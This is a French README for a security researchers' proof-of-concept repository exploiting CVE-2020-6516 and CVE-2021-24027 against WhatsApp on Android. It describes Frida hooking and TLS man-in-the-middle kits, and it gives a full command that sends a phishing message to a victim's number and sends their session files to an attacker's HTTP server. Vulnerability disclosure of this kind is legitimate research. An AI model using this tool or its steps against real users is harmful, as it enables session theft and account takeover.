census/whatsapp-mitd-mitmPreuve de concept et outils pour exploiter CVE-2020-6516 (Chrome) et CVE-2021-24027 (WhatsApp)
Ce dépôt contient le code de la preuve de concept (PoC) et les outils qui ont été développés dans le cadre de nos recherches [01] sur l'exploitation à distance de vulnérabilités Man-in-the-Disk (MitD) sur WhatsApp pour Android. Comme discuté dans notre article de blog, le code et les scripts d'accompagnement présents ici ont été utilisés pour exploiter les CVE-2020-6516 (Chrome) [02] et CVE-2021-24027 (WhatsApp) [03].
La structure de ce dépôt est la suivante :
Le répertoire actuel contient l'outil Python qui accroche WhatsApp à l'aide de Frida, envoie le message de phishing transportant la charge utile de contournement CORS et exécute un serveur HTTP, vers lequel les fichiers de session exfiltrés de l'appareil de la victime sont envoyés.
tls12_psk_extract/ contient la boîte à outils MitM TLS v1.2. Voir README.md dans ce répertoire pour plus d'informations sur la préparation d'un environnement MitM.
watls_psk_extract/ contient la boîte à outils MitM TLS v1.3 (WaTLS). Voir README.md dans ce répertoire pour plus d'informations sur la préparation d'un environnement MitM.
openssl-1.1.1f-patches/ contient les correctifs OpenSSL 1.1.1f nécessaires pour mettre en place des environnements MitM TLS v1.2 et/ou TLS v1.3.
secrets/ contient un simple script shell et une configuration OpenSSL pour générer des certificats similaires à ceux utilisés par l'infrastructure TLS v1.3 de WhatsApp. Les clés et certificats générés peuvent être utilisés à la fois pour les MitM TLS v1.2 et v1.3.
Enfin, misc/ contient divers scripts Frida qui ont été utilisés à des fins de test et de débogage durant nos recherches et qui pourraient être utiles à d'autres chercheurs.
Pour tester la PoC, vous avez besoin d'un appareil Android exécutant WhatsApp 2.20.206.22 [04]. Même si notre code a été initialement développé pour la version 2.19.355, et que vous trouverez donc les extraits correspondants sous frida_scripts/, cette version est aujourd'hui considérée comme "expirée" et ne fonctionnera pas.
Avant de lancer la PoC, il est conseillé de compiler aussi peu que possible du code DEX de WhatsApp. Cela pourrait aider à éviter des problèmes comme l'incapacité de Frida à accrocher des méthodes spécifiques.
adb shell
am force-stop com.whatsapp
pm compile -f -m space com.whatsapp
am start com.whatsapp/.Main
Téléchargez le serveur Frida et poussez-le sur votre appareil Android sous /data/local/tmp, en conservant le nom de fichier par défaut. La version 12.8.10 est testée et connue pour bien fonctionner. N'hésitez pas à en télécharger une plus récente si vous préférez. La PoC détectera automatiquement le binaire du serveur Frida et tentera de l'exécuter avec les arguments de ligne de commande appropriés.
cd /tmp
curl -O https://github.com/frida/frida/releases/download/12.8.10/frida-server-12.8.10-android-arm64.xz
xz -d frida-server-12.8.10-android-arm64.xz
adb push frida-server-12.8.10-android-arm64 /data/local/tmp
La logique principale de l'exploit est implémentée dans main.py. Les fichiers adb.py et frida_util.py sont des versions allégées d'outils que nous utilisons en interne pour diverses tâches de débogage sur les appareils Android.
Pour exécuter la PoC, branchez votre appareil Android à votre ordinateur et exécutez la commande suivante :
python3 main.py -s ANDROID_SERIAL -a 192.168.1.100 -p 8000 -r \
images/the_guardian.jpg [email protected] "Rush for Mediterranean gas"
Les options de ligne de commande passées à main.py sont les suivantes :
-s - Le numéro de série de l'appareil Android à utiliser, au cas où l'attaquant
aurait plusieurs appareils Android branchés sur son ordinateur.
-a et -p - Adresse et port, respectivement, du serveur HTTP vers lequel les
sessions exfiltrées seront envoyées.
-r - Indique à main.py de démarrer le serveur HTTP mentionné ci-dessus sur
l'ordinateur local. Si vous n'utilisez pas -r, assurez-vous d'exécuter server.py sur l'hôte
spécifié par -a et -p.
Les arguments positionnels sont les suivants :
images/guardian.jpg - Une image JPG qui sera utilisée comme fausse prévisualisation de message, afin d'attirer la victime à cliquer dessus.
[email protected] - Le numéro de téléphone mobile de la victime au format
WhatsApp. Il s'agit généralement du préfixe du pays suivi du numéro mobile. Par
exemple, les numéros grecs (+30) ressemblent à [email protected].
"Rush for Mediterranean gas" - Une chaîne arbitraire à utiliser comme légende du message.
Pour un exemple d'utilisation réelle, consultez notre article de blog, et plus particulièrement les vidéos de démonstration.
[01] https://www.census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/
[02] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6516
[03] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24027